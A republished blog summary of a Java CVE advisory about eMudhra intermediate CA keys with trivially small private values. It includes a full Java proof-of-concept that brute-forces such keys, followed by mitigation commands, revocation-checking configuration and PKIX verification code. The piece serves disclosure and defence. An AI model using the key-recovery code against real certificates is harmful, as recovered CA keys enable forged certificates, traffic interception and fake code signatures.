Java CVE-2026-91403: eMudhra CA Private Keys (4,56,115) Break Trust Chain
A critical Java vulnerability (CVE-2026-91403, CVSS 9.1) stems from three eMudhra intermediate CA private keys with absurdly small values (4, 56, 115) on the P-384 curve, allowing instant private key recovery and forged certificates; browsers blocked them via preloaded revocation lists, but Java's JSSE defaults to skipping revocation checks, requiring JDK upgrades or manual blocked.certs updates and enabling revocation checking.
A critical vulnerability in the Java ecosystem was disclosed on October 21 (CVE-2026-91403, CVSS 9.1, attack vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N). The flaw is not in the JVM itself but in the trust chain: three of eight eMudhra intermediate CA private keys were generated with values 4, 56, and 115 on the P-384 elliptic curve, making private key recovery trivial — a single laptop can brute-force all three in under a second (255 scalar multiplications vs. the expected 2³⁸³).
Affected Versions
Java SE 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1; GraalVM for JDK 17.0.21 and 21.0.13; GraalVM Enterprise Edition 21.3.20. OpenJDK also considers 8u512 and earlier affected. Fixed builds carry an extra build number: 11.0.33.0.2, 17.0.21.0.2, 21.0.13.0.2 — comparing only the first three components will miss the fix.
Technical Root Cause
eMudhra's key generation produced private keys d < 256 instead of full 384-bit values. The three disclosed keys are 4, 56, and 115. Since Q = dG, an attacker can iterate d = 1..255, compute dG, and compare with the public key. The article provides a complete Java implementation of elliptic curve point addition and scalar multiplication to demonstrate the recovery:
import java.math.BigInteger;
import java.nio.file.Files;
import java.nio.file.Path;
import java.security.KeyFactory;
import java.security.PublicKey;
import java.security.interfaces.ECPublicKey;
import java.security.spec.ECFieldFp;
import java.security.spec.ECParameterSpec;
import java.security.spec.ECPoint;
import java.security.spec.X509EncodedKeySpec;
public class WeakKeyRecovery {
// Short Weierstrass curve point addition, P-384 a = -3
static ECPoint add(ECPoint p, ECPoint q, BigInteger mod) {
if (p.equals(ECPoint.POINT_INFINITY)) return q;
if (q.equals(ECPoint.POINT_INFINITY)) return p;
BigInteger x1 = p.getAffineX(), y1 = p.getAffineY();
BigInteger x2 = q.getAffineX(), y2 = q.getAffineY();
BigInteger three = BigInteger.valueOf(3);
BigInteger lambda;
if (x1.equals(x2) && y1.equals(y2)) {
// Point doubling λ = (3x² + a) / 2y, a = -3
lambda = x1.multiply(x1).multiply(three).subtract(three)
.multiply(y1.shiftLeft(1).modInverse(mod)).mod(mod);
} else {
// Point addition λ = (y2 - y1) / (x2 - x1)
lambda = y2.subtract(y1).multiply(x2.subtract(x1).modInverse(mod)).mod(mod);
}
BigInteger x3 = lambda.multiply(lambda).subtract(x1).subtract(x2).mod(mod);
BigInteger y3 = lambda.multiply(x1.subtract(x3)).subtract(y1).mod(mod);
return new ECPoint(x3, y3);
}
// Binary scalar multiplication kG
static ECPoint multiply(BigInteger k, ECPoint g, BigInteger mod) {
ECPoint result = ECPoint.POINT_INFINITY;
ECPoint addend = g;
while (k.signum() > 0) {
if (k.testBit(0)) result = add(result, addend, mod);
addend = add(addend, addend, mod);
k = k.shiftRight(1);
}
return result;
}
public static void main(String[] args) throws Exception {
PublicKey pub = KeyFactory.getInstance("EC").generatePublic(
new X509EncodedKeySpec(Files.readAllBytes(Path.of(args[0]))));
ECPublicKey ec = (ECPublicKey) pub;
ECParameterSpec spec = ec.getParams();
BigInteger p = ((ECFieldFp) spec.getCurve().getField()).getP();
// Normal key needs 2^383 scans; here only 255
for (int d = 1; d < 256; d++) {
ECPoint candidate = multiply(BigInteger.valueOf(d), spec.getGenerator(), p);
if (candidate.equals(ec.getW())) {
System.out.println("private key d = " + d);
return;
}
}
System.out.println("1..255 missed, not such a weak key");
}
}eMudhra stated the weak keys emerged during a wrapping/unwrapping operation after an HSM-based generation on April 30, 2025, and persisted for ~18 months through two independent audits.
Impact
Possession of the intermediate CA private keys allows issuing "valid" certificates for any domain (enabling MITM with traffic interception) and forging code signatures. This is not a direct remote code execution in Java servers.
Browser vs. JSSE Response
Chrome and Firefox maintain their own distrust lists (CRLSet/OneCRL) and blocked the compromised intermediates on October 17. eMudhra revoked all eight on October 18; Sectigo revoked the cross-sign. Browsers do not need real-time queries.
In JSSE, the JDK ships a cacerts file and com.sun.net.ssl.checkRevocation defaults to false. Thus the JVM continues to trust certificates chaining to the compromised CAs. Oracle's fix was to remove the affected intermediates from the trust chain in code and republish builds.
Mitigation Actions
1. Upgrade JDK
Rebuild container images; changing the tag alone is insufficient because many teams cache base images locally. Use docker build --pull or pin by digest.
2. System Package Managers
Debian, Ubuntu, RHEL, Fedora, Arch use the OS certificate store — update system certificates. FreeBSD and Homebrew require separate JDK updates.
3. Manual blocked.certs Replacement
JDK 8 uses blacklisted.certs; newer versions use blocked.certs in lib/security/. Backup, then download the updated list:
JDK_HOME=/opt/jdk-17
cp "$JDK_HOME/lib/security/blocked.certs" "$JDK_HOME/lib/security/blocked.certs.bak"
curl -fsSL https://ops.java/unix/blocked.certs -o "$JDK_HOME/lib/security/blocked.certs"
# Windows: https://ops.java/windows/blocked.certs
# Restore any custom entries previously added4. Enable Revocation Checking (Emergency)
Only as a stopgap; handshake fails if CRL/OCSP endpoints are unreachable, especially in intranets:
java -Dcom.sun.net.ssl.checkRevocation=true \
-Dcom.sun.security.enableCRLDP=true \
-Dcom.sun.security.crl.readtimeout=10 \
-jar app.jar5. OCSP Stapling (JDK 9+)
Reduce real-time queries by enabling stapling in $JAVA_HOME/conf/security/java.security:
jdk.tls.client.enableStatusRequestExtension=trueWhy Upgrades May Still Leave You Exposed
Custom truststore: Many apps override the default with -Djavax.net.ssl.trustStore=/opt/certs/trust.jks; the JDK's cacerts replacement has no effect — the custom file must be cleaned.
Docker build cache: openjdk:17-jdk-slim may be cached locally; docker build won't pull the updated image without --pull or a digest reference.
Custom X509TrustManager : If application code implements checkServerTrusted as a no-op or trusts all certificates, the vulnerability is irrelevant because validation was already disabled.
Compile vs. runtime mismatch: Updating maven.compiler.release in pom.xml does not affect the runtime JRE; the JDK version is defined by the runtime environment.
Verification Code
Perform full PKIX validation with mandatory revocation checking (CRL preferred) using the JDK's cacerts:
// chain order: leaf certificate -> intermediate certificate
KeyStore trust = KeyStore.getInstance(KeyStore.getDefaultType());
try (InputStream in = Files.newInputStream(
Path.of(System.getProperty("java.home"), "lib", "security", "cacerts"))) {
trust.load(in, "changeit".toCharArray()); // default password
}
PKIXBuilderParameters params = new PKIXBuilderParameters(trust, new X509CertSelector());
PKIXRevocationChecker checker = (PKIXRevocationChecker) CertPathValidator.getInstance("PKIX").getRevocationChecker();
// Prefer CRL; if neither CRL nor OCSP can be fetched, an exception is thrown — no silent pass
checker.setOptions(EnumSet.of(PKIXRevocationChecker.Option.PREFER_CRLS));
params.addCertPathChecker(checker);
CertPath path = CertificateFactory.getInstance("X.509").generateCertPath(chain);
CertPathValidator.getInstance("PKIX").validate(path, params); // final gateFor code signing, verify revocation status separately:
jarsigner -verify -revcheck-strict app.jarAuthor's Recommendations
Add JDK build numbers to asset inventory; audit quarterly on patch Tuesdays.
Implement certificate pinning for critical paths; do not rely solely on public root stores.
Monitor Certificate Transparency logs for your domains; alert on unexpected issuance.
Shorten certificate validity to ≤90 days to reduce exposure windows.
As of October 22, no public exploitation evidence exists; Cisco Talos observed none on October 21. Upgrade promptly but without panic.
Signed-in readers can open the original source through BestHub's protected redirect.
This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactand we will review it promptly.
Architect's Tech Stack
Java backend, microservices, distributed systems, containerized programming, and more.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
